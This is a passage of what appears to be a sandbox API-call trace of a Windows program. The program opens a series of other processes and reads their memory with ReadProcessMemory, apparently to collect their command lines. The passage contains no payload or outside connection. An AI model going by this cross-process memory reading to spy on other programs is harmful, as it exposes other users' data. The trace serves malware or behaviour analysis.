_Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1336") returned 4 [0191.508] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.508] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x448 [0191.558] GetLastError () returned 0x0 [0191.558] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.558] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.559] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.559] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.559] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc24fc2d0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.560] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.561] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.561] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.561] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.561] malloc (_Size=0x18) returned 0x20abc281ba0 [0191.561] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281ba0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281ba0*, lpNumberOfBytesRead=0x0) returned 1 [0191.561] free (_Block=0x20abc281ba0) [0191.562] CloseHandle (hObject=0x448) returned 1 [0191.562] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0191.566] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1540") returned 4 [0191.567] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.567] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.580] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x448 [0191.580] GetLastError () returned 0x0 [0191.580] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.580] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.580] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.580] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.581] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.581] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.582] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.582] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.582] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.583] malloc (_Size=0x64) returned 0x20abc2801b0 [0191.583] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.583] free (_Block=0x20abc2801b0) [0191.584] CloseHandle (hObject=0x448) returned 1 [0191.584] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0191.588] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1604") returned 4 [0191.589] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.589] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.714] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x458 [0191.714] GetLastError () returned 0x0 [0191.714] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.714] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb845380018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.714] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.714] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.714] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.715] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.716] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.716] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb845380020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.716] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.716] malloc (_Size=0x5a) returned 0x20abc2801b0 [0191.716] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc2801b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.717] free (_Block=0x20abc2801b0) [0191.718] CloseHandle (hObject=0x458) returned 1 [0191.719] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0191.722] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1912") returned 4 [0191.723] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.723] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x458 [0191.737] GetLastError () returned 0x0 [0191.737] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.737] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ba018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.737] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.737] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x511c50, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.737] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5118e8, lpBuffer=0x2dc24fc2d0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.738] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.739] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.739] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ba020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.739] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5112d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.739] malloc (_Size=0x32) returned 0x20abc281190 [0191.739] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x511918, lpBuffer=0x20abc281190, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281190*, lpNumberOfBytesRead=0x0) returned 1 [0191.740] free (_Block=0x20abc281190) [0191.741] CloseHandle (hObject=0x458) returned 1 [0191.741] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0191.745] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2044") returned 4 [0191.746] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.746] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.900] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x458 [0191.900] GetLastError () returned 0x0 [0191.900] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.900] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.900] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.900] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.900] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc24fc2d0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.901] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.902] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.902] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.902] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.902] malloc (_Size=0x6c) returned 0x20abc282120 [0191.902] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0191.903] free (_Block=0x20abc282120) [0191.904] CloseHandle (hObject=0x458) returned 1 [0191.905] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0191.909] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2228") returned 4 [0191.910] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.910] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x458 [0191.923] GetLastError () returned 0x0 [0191.923] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.923] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0192.397] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0192.973] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0193.452] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc24fc2d0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0193.972] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0194.122] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0194.122] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0194.315] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0194.599] malloc (_Size=0x118) returned 0x20abc286950 [0194.599] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc286950, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286950*, lpNumberOfBytesRead=0x0) returned 1 [0194.909] free (_Block=0x20abc286950) [0194.910] CloseHandle (hObject=0x458) returned 1 [0194.910] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0194.914] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2348") returned 4 [0194.915] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0194.915] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0194.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x458 [0194.967] GetLastError () returned 0x0 [0194.967] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0194.967] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0195.189] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0195.423] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0195.626] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc24fc2d0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0195.829] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0196.018] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0196.018] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0196.327] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.574] malloc (_Size=0x11a) returned 0x20abc286890 [0196.589] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc286890, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0196.793] free (_Block=0x20abc286890) [0196.794] CloseHandle (hObject=0x458) returned 1 [0196.795] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0196.799] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2088") returned 4 [0196.800] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0196.800] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0196.812] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x458 [0196.813] GetLastError () returned 0x0 [0196.813] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0196.813] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0196.823] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0196.823] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0196.823] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0196.825] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0196.826] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, 